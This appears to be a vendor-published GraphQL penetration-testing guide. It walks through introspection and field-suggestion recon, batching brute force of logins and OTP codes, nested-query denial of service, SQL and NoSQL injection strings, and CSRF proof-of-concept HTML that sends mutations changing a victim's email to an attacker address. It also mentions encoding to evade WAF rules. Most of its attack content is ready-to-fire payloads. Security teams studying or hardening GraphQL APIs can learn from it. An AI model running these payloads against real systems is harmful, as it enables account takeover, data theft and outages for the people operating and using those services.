GraphQL Security Testing: Injection, Introspection & Batching Attacks (2026)
GraphQL changes the attack surface of an API dramatically. Instead of dozens of REST endpoints, there is a single endpoint accepting structured query language. That endpoint is self-documenting, flexible, and — when misconfigured — leaks your entire data schema and allows batch attacks that defeat rate limits. This guide covers the systematic approach to GraphQL security testing from first contact to full exploitation.
Use the GraphQL Injection Generator and the GraphQL Security Tester to build and fire these queries interactively.
Step 1: Reconnaissance via Introspection
GraphQL's introspection system allows clients to query the schema itself. On development APIs and many production deployments, this is left enabled — giving attackers a full map of every type, field, query, mutation, and subscription.
Standard Introspection Query
POST /graphql HTTP/1.1
Content-Type: application/json
{"query":"{ __schema { queryType { name } types { name kind fields { name type { name kind ofType { name kind } } } } } }"}
If introspection is enabled, the response contains every type and field in the schema. Parse it to identify:
- Mutation types — endpoints that modify data (highest impact)
- Admin or internal types — names like
AdminUser,InternalConfig,SecretToken - ID-based fields — potential IDOR vectors
- File upload mutations — potential path traversal or SSRF
Introspection Disabled? Try Field Suggestions
When introspection is disabled, GraphQL still returns helpful error messages: "Did you mean X?" This is the field suggestion mechanism, and it leaks field names even without introspection.
// Send a query with a typo to trigger suggestions
{"query":"{ usr { id } }"}
// Response reveals real field names:
// "Cannot query field 'usr'. Did you mean 'user' or 'users'?"
Systematically iterate common field name prefixes (admin, internal, secret, debug, token, key, config) to enumerate hidden fields. Tools like Clairvoyance automate this process.
Step 2: Batching Attacks to Bypass Rate Limits
GraphQL supports two batching mechanisms that are frequently overlooked in rate limiting implementations: array batching (multiple operations in one JSON array) and alias batching (multiple fields aliased in one query). Both send a single HTTP request but execute multiple operations.
Array Batching — Brute Force in One Request
POST /graphql HTTP/1.1
Content-Type: application/json
[
{"query":"mutation { login(email: "admin@target.com", password: "password1") { token } }"},
{"query":"mutation { login(email: "admin@target.com", password: "password2") { token } }"},
{"query":"mutation { login(email: "admin@target.com", password: "password3") { token } }"},
... (repeat 100 times)
]
If the rate limiter counts HTTP requests rather than operations, this sends 100 login attempts in a single request. The response is an array of 100 results — check for a non-null token field to identify the valid password.
Alias Batching — OTP / TOTP Brute Force
{"query":"{
a1: verifyOTP(code: "0001") { success }
a2: verifyOTP(code: "0002") { success }
a3: verifyOTP(code: "0003") { success }
...
a9999: verifyOTP(code: "9999") { success }
}"}
This is the most impactful GraphQL attack for account takeover — it allows brute-forcing 4-digit OTPs (10,000 codes) in as few as 10 requests with 1000 aliases each.
Step 3: Deep Nesting DoS
GraphQL schemas often contain circular or recursive type relationships. Without query depth or complexity limits, an attacker can craft a deeply nested query that consumes exponential server resources.
{"query":"{
user(id: 1) {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends { id name }
}
}
}
}
}
}
}
}
}"}
For a schema where User has a friends field returning a list of User, each level multiplies the database queries. Ten levels deep on a dataset of 100 friends per user = 100^10 potential database calls.
Testing for missing depth limits: Start at 5 levels and increase. Watch for response time degradation or server errors (500, 503, timeout). Report depth > 10 as a DoS risk.
GraphQL Injection via Arguments
When GraphQL resolvers pass query arguments directly to backend databases without sanitization, traditional injection attacks apply — but through GraphQL's query language.
SQL Injection via GraphQL Arguments
// Test for SQLi in string arguments
{"query":"{ user(id: "1 OR 1=1") { id email password } }"}
{"query":"{ user(email: "admin@test.com' --") { token } }"}
{"query":"{ searchUsers(name: "' UNION SELECT null, table_name FROM information_schema.tables --") { id } }"}
NoSQL Injection via GraphQL Arguments
// MongoDB operator injection — test with JSON objects in arguments
{"query":"{ user(filter: "{\"$where\": \"this.isAdmin === true\"}") { id email } }"}
// If the resolver passes filter directly to MongoDB find():
{"query":"{ users(filter: "{\"password\": {\"$gt\": \"\"}}") { email password } }"}
The GraphQL Injection Generator produces injection payloads pre-formatted for GraphQL argument syntax, including proper JSON escaping for nested operator injection.
Field Suggestion Enumeration
Even with introspection disabled, GraphQL's error messages are designed to help developers — and they help attackers too. The systematic field suggestion approach:
- Query a likely root field with a typo:
{ admin { id } } - Collect suggested field names from errors
- Query each discovered field with a sub-field typo:
{ adminPanel { usr { id } } } - Repeat recursively to map the schema without introspection
// Common high-value fields to fuzz
admin, adminPanel, internalUsers, debugInfo, systemConfig,
apiKeys, webhooks, tokens, secrets, privateKey, jwtSecret
CSRF via GraphQL
When a GraphQL endpoint accepts application/x-www-form-urlencoded or text/plain content types (or GET requests with query parameters), it is vulnerable to CSRF from cross-origin pages.
<!-- CSRF PoC for GraphQL that accepts GET requests -->
<img src="https://api.target.com/graphql?query=mutation{deleteAccount(id:123){success}}">
<!-- CSRF PoC for form-urlencoded GraphQL -->
<form action="https://api.target.com/graphql" method="POST">
<input name="query" value="mutation{changeEmail(email:'attacker@evil.com'){success}}">
</form>
<script>document.forms[0].submit()</script>
Test by sending the mutation with Content-Type: text/plain from Burp. If it succeeds, the endpoint is CSRF-vulnerable.
Common GraphQL Misconfigurations
| Misconfiguration | Risk | Test |
|---|---|---|
| Introspection enabled in production | Full schema disclosure | Send __schema query |
| No query depth limit | DoS via nested queries | Nest 10+ levels deep |
| No query complexity limit | DoS via expensive field combinations | Fan out large lists |
| Array batching allowed | Rate limit bypass / brute force | Send array of mutations |
| GET method enabled for mutations | CSRF on mutation endpoints | Try GET with query param |
| Field suggestions enabled | Schema enumeration without introspection | Submit typo queries |
| Unbounded list queries | Data scraping / DoS | Query lists without first/limit |
Tools for GraphQL Testing
Payload Playground provides two purpose-built GraphQL tools:
- GraphQL Injection Generator — produces introspection queries, batching attack payloads, injection strings, and field suggestion probes pre-formatted for
Content-Type: application/json - GraphQL Security Tester — fire live queries against a GraphQL endpoint, toggle introspection, and inspect responses for schema leakage
For encoding payloads to bypass WAF rules on GraphQL endpoints, the Encoding Pipeline handles URL encoding, Unicode escaping, and whitespace substitution that can bypass regex-based WAF rules targeting GraphQL syntax.
Related Reading
- NoSQL Injection: MongoDB, CouchDB, and Beyond — for operator injection patterns applicable to GraphQL resolvers backed by MongoDB
- SQL Injection Testing: From Detection to Data Extraction — for classic injection via GraphQL string arguments
- SSRF Exploitation: Accessing Cloud Metadata and Internal Services — GraphQL subscriptions and file upload mutations can be SSRF vectors
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides